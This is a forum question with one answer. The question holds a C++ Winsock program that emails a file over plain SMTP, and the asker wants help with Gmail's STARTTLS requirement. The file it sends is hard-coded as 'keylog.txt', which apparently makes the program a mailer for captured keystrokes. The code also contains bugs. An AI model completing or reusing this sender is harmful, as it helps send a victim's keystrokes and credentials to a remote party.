Unable to send mail C++

Question

I need to send a mail with report, either as attachment or in message body. Now I know this is discussed a lot, but I'm just unable to find a single working solution.

Starting from here:

#define WIN32_LEAN_AND_MEAN

#include <stdio.h>
#include <stdlib.h>
#include <fstream>
#include <iostream>
#include <windows.h>
#include <winsock2.h>
using namespace std;

#pragma comment(lib, "ws2_32.lib")

// Insist on at least Winsock v1.1
const int VERSION_MAJOR = 1;
const int VERSION_MINOR = 1;

#define CRLF "\r\n"                 // carriage-return/line feed pair

void ShowUsage(void)
{
  cout << "Usage: SENDMAIL mailserv to_addr from_addr messagefile" << endl
       << "Example: SENDMAIL smtp.myisp.com rcvr@elsewhere.com my_id@mydomain.com message.txt" << endl;

  exit(1);
}

// Basic error checking for send() and recv() functions
void Check(int iStatus, char *szFunction)
{
  if((iStatus != SOCKET_ERROR) && (iStatus))
    return;

  cerr << "Error during call to " << szFunction << ": " << iStatus << " - " << GetLastError() << endl;
}

int main(int argc, char *argv[])
{
  int         iProtocolPort        = 0;
  char        szSmtpServerName[64] = "";
  char        szToAddr[64]         = "";
  char        szFromAddr[64]       = "";
  char        szBuffer[4096]       = "";
  char        szLine[255]          = "";
  char        szMsgLine[255]       = "";
  SOCKET      hServer;
  WSADATA     WSData;
  LPHOSTENT   lpHostEntry;
  LPSERVENT   lpServEntry;
  SOCKADDR_IN SockAddr;

  // Check for four command-line args
  if(argc != 7)
    ShowUsage();

  // Load command-line args
  strcpy(szSmtpServerName, argv[2]);
  strcpy(szToAddr, argv[3]);
  strcpy(szFromAddr, argv[4]);

  // Create input stream for reading email message file
  ifstream MsgFile("E:\New folder\keylog.txt");

  // Attempt to intialize WinSock (1.1 or later)
  if(WSAStartup(MAKEWORD(VERSION_MAJOR, VERSION_MINOR), &WSData))
  {
    cout << "Cannot find Winsock v" << VERSION_MAJOR << "." << VERSION_MINOR << " or later!" << endl;

    return 1;
  }

  // Lookup email server's IP address.
  lpHostEntry = gethostbyname(szSmtpServerName);
  if(!lpHostEntry)
  {
    cout << "Cannot find SMTP mail server " << szSmtpServerName << endl;

    return 1;
  }

  // Create a TCP/IP socket, no specific protocol
  hServer = socket(PF_INET, SOCK_STREAM, 0);
  if(hServer == INVALID_SOCKET)
  {
    cout << "Cannot open mail server socket" << endl;

    return 1;
  }

  // Get the mail service port
  lpServEntry = getservbyname("mail", 0);

  // Use the SMTP default port if no other port is specified
  if(!lpServEntry)
    iProtocolPort = htons(IPPORT_SMTP);
  else
    iProtocolPort = lpServEntry->s_port;

  // Setup a Socket Address structure
  SockAddr.sin_family = AF_INET;
  SockAddr.sin_port   = iProtocolPort;
  SockAddr.sin_addr   = *((LPIN_ADDR)*lpHostEntry->h_addr_list);

  // Connect the Socket
  if(connect(hServer, (PSOCKADDR) &SockAddr, sizeof(SockAddr)))
  {
    cout << GetLastError() << endl;
    cout << "Error connecting to Server socket" << endl;

    return 1;
  }

  // Receive initial response from SMTP server
  Check(recv(hServer, szBuffer, sizeof(szBuffer), 0), "recv() Reply");

  // Send HELO server.com
  sprintf(szMsgLine, "HELO %s%s", szSmtpServerName, CRLF);
  Check(send(hServer, szMsgLine, strlen(szMsgLine), 0), "send() HELO");
  Check(recv(hServer, szBuffer, sizeof(szBuffer), 0), "recv() HELO");

  // Send MAIL FROM: <sender@mydomain.com>
  sprintf(szMsgLine, "MAIL FROM:<%s>%s", szFromAddr, CRLF);
  Check(send(hServer, szMsgLine, strlen(szMsgLine), 0), "send() MAIL FROM");
  Check(recv(hServer, szBuffer, sizeof(szBuffer), 0), "recv() MAIL FROM");

  // Send RCPT TO: <receiver@domain.com>
  sprintf(szMsgLine, "RCPT TO:<%s>%s", szToAddr, CRLF);
  Check(send(hServer, szMsgLine, strlen(szMsgLine), 0), "send() RCPT TO");
  Check(recv(hServer, szBuffer, sizeof(szBuffer), 0), "recv() RCPT TO");

  // Send DATA
  sprintf(szMsgLine, "DATA%s", CRLF);
  Check(send(hServer, szMsgLine, strlen(szMsgLine), 0), "send() DATA");
  Check(recv(hServer, szBuffer, sizeof(szBuffer), 0), "recv() DATA");

  // Send all lines of message body (using supplied text file)
  MsgFile.getline(szLine, sizeof(szLine));             // Get first line

  do         // for each line of message text...
  {
    sprintf(szMsgLine, "%s%s", szLine, CRLF);
    Check(send(hServer, szMsgLine, strlen(szMsgLine), 0), "send() message-line");
    MsgFile.getline(szLine, sizeof(szLine)); // get next line.
  } while(MsgFile.good());

  // Send blank line and a period
  sprintf(szMsgLine, "%s.%s", CRLF, CRLF);
  Check(send(hServer, szMsgLine, strlen(szMsgLine), 0), "send() end-message");
  Check(recv(hServer, szBuffer, sizeof(szBuffer), 0), "recv() end-message");

  // Send QUIT
  sprintf(szMsgLine, "QUIT%s", CRLF);
  Check(send(hServer, szMsgLine, strlen(szMsgLine), 0), "send() QUIT");
  Check(recv(hServer, szBuffer, sizeof(szBuffer), 0), "recv() QUIT");

  // Report message has been sent
  cout << "Sent " << argv[4] << " as email message to " << szToAddr << endl;

  // Close server socket and prepare to exit.
  closesocket(hServer);

  WSACleanup();

  return 0;
}

everything works well, until I get to the part when I send MAIL FROM, server then responds with "must issue a STARTTLS command first". Now, I read about that, but I wasn't able to find a solution on my own.

I'm connecting on smtp.gmail.com. Now I would like someone to tell me either another smtp server that supports basic SMTP protocol, and that would work with this code, or if someone worked with this ESMTP protocol, to give me code example.

Answer 1

Most public SMTP servers are going to require encryption these days. You can certainly set up your own SMTP server, or find a provider that doesn't require it, or modify your code to handle SSL/TLS. You can do SSL/TLS by issuing the STARTTLS command, then starting the handshake process. There are several native Windows libraries to help (e.g. SChannel) or you can utilize a cross-platform library such as OpenSSL. Plenty of examples out there...